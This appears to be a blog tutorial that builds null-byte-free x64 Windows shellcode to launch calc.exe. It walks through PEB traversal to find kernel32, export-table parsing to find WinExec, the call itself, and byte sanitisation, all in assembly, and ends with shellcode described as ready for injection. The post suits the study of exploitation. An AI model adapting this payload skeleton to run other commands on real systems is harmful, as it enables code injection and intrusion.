Shellcode - The incredible calc.exe payload
In this post, obfuscation of shellcodes plays only a minor role. At this point, I aimed to develop a custom shellcode to better understand how it works.
Requirements:
- Launch
calc.exe
on a Windows system - 64-bit shellcode
- Avoid null bytes
Preparation
Shellcode? Easier said than done.
At least that’s what I thought. In reality, understanding the underlying mechanics took a considerable amount of time—partially due to my limited experience with x64dbg
. Especially live debugging was time-consuming since I wasn’t yet familiar with many useful commands.
Fortunately, there are some helpful websites I used as references.1
Useful Tools
Helpful Resources
A more recent blog post gave me the idea for this article. The corresponding final shellcode is available on GitHub, and is well documented.
Another post from Red Team Notes was instrumental in building the shellcode structure.
Code: Step-by-Step
The full source code can be found on GitHub.
Steps to launch calc.exe
from shellcode:
- Locate
kernel32.dll
base address - Enumerate WinAPI functions in memory
- Locate the
WinExec
function
Variables and Stack
First, allocate memory for variables:
sub rsp, 40h
xor rax, rax
mov [rbp - 08h], rax ; Number_of_Exported_Functions
mov [rbp - 10h], rax ; Address_Table
mov [rbp - 18h], rax ; Name_Ptr_Table
mov [rbp - 20h], rax ; Ordinal_Table
mov [rbp - 28h], rax ; Pointer to WinExec string
mov [rbp - 30h], rax ; Address of WinExec function
mov [rbp - 38h], rax ; reserved
Push the WinExec\n
string onto the stack and store its pointer:
push rax
mov rax, 0x00636578456E6957 ; 0x00 + c,e,x,E,n,i,W
push rax
mov [rbp - 28h], rsp ; Store string pointer
Locating kernel32.dll Base Address
When a process starts, Windows loads modules into its memory space, including kernel32.dll
. These modules can be identified via specific data structures.
To locate kernel32.dll
, follow this memory navigation:
gs:[0x60]
→ TEB- TEB + 0x18 → PEB
- PEB + 0x20 → Loader Data
- Loader Data → InMemoryOrderModuleList (linked list)
- Third entry (after process and ntdll) → kernel32 base address
ASM:
mov rax, gs:[0x60]
mov rax, [rax + 0x18]
mov rax, [rax + 0x20]
mov rax, [rax]
mov rax, [rax]
mov rax, [rax + 0x20]
mov rbx, rax ; Save kernel32 base in rbx
WinAPI Address Enumeration
From kernel32
base address, we derive:
-
+ 0x3C
→ PE header offset -
PE + 0x88
→ Export Directory RVA -
From Export Directory:
+ 0x14
→ Number of Exported Functions+ 0x1C
→ Address Table+ 0x20
→ Name Pointer Table+ 0x24
→ Ordinal Table
ASM:
mov eax, [rbx + 0x3c]
add rax, rbx
mov eax, [rax + 0x88]
add rax, rbx
mov ecx, [rax + 0x14]
mov [rbp - 8h], rcx
mov ecx, [rax + 0x1c]
add rcx, rbx
mov [rbp - 10h], rcx
mov ecx, [rax + 0x20]
add rcx, rbx
mov [rbp - 18h], rcx
mov ecx, [rax + 0x24]
add rcx, rbx
mov [rbp - 20h], rcx
💡 Tip: Open kernel32.dll
in PEView to better understand these offsets.
Locating WinExec
Iteration over Export Table:
xor rax, rax
xor rcx, rcx
findWinExecPosition:
mov rsi, [rbp - 28h]
mov rdi, [rbp - 18h]
cld
mov edi, [rdi + rax * 4]
add rdi, rbx
mov cl, 8
repe cmpsb
jz WinExecFound
inc rax
cmp rax, [rbp - 8h]
jne findWinExecPosition
If Found:
WinExecFound:
mov rcx, [rbp - 20h]
mov rdx, [rbp - 10h]
mov ax, [rcx + rax * 2]
mov eax, [rdx + rax * 4]
add rax, rbx
jmp short InvokeWinExec
Executing WinExec
Function prototype:
UINT WinExec(
[in] LPCSTR lpCmdLine,
[in] UINT uCmdShow
);
Calling conventions:
- RCX: lpCmdLine
- RDX: uCmdShow
- Stack alignment: 16-byte aligned
- Shadow space: 32 bytes reserved
ASM:
InvokeWinExec:
xor rdx, rdx
xor rcx, rcx
push rcx
mov rcx, 0x6578652e636c6163 ; "calc.exe"
push rcx
mov rcx, rsp
mov dl, 0x1
and rsp, -16
sub rsp, 32
call rax
Null Byte Elimination
Compile:
nasm -f win64 calc-unsanitized.asm -o calc-unsanitized.o
Inspect:
objdump -d calc-unsanitized.o
Removing Null Bytes
WinExec String
mov rax, 0x11636578456E6957
shl rax, 0x08
shr rax, 0x08
GS Register + 0x60
mov al, 60h
mov rax, gs:[rax]
RVA Pointer Offset
mov cl, 88h
mov eax, [rax + rcx]
Final Touches
To extract the clean shellcode:
python shencode.py output -f calc-final.o -s c
python shencode.py extract -f calc-final.o -o calc-final.sc -fb 60 -lb 310
python shencode.py output -f calc-final.sc -s c
Final shellcode ready for injection.
Repository
git clone https://github.com/psycore8/nosoc-shellcode